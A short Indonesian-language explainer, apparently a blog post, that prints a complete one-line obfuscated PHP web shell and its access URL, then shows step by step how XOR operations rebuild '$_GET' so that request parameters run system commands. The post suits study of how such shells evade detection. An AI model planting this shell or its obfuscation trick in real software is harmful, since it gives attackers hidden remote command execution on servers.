<?php $_='{';$_=($_^'<').($_^'>;').($_^'/');${'_'.$_}['_'](${'_'.$_}['__']);
Cara Akses :
shell.php?_=system&__=id
Dilihat dari code nya terdapat 3 part flow nya.
$_='{';
variable $_ menampung string {
$_=($_^'<').($_^'>;').($_^'/');
** Note: Di PHP, $variable bs di reuse **
- Manipulasi utk mendapatkan char yg diinginkan dengan XOR ^
($_^'<').($_^'>;').($_^'/');
Step awal kan var $_ menampung { Kita sederhanakan biar gampang dipahami:
echo ('{'^'<').('{'^'>;').('{'^'/');
output : GET
variable $_ di reuse dan ditimpa value nya jadi GET, sekarang variable $_ menampung string GET
${'_'.$_}['_'](${'_'.$_}['__']);
${'_'.GET}['_'](${'_'.GET}['__']);
$_GET['_']($_GET['__'])
Sehingga jika diakses GET ?_=system&__=id
var _ menjadi function var __ menjadi value nya
system(id)
~ Ve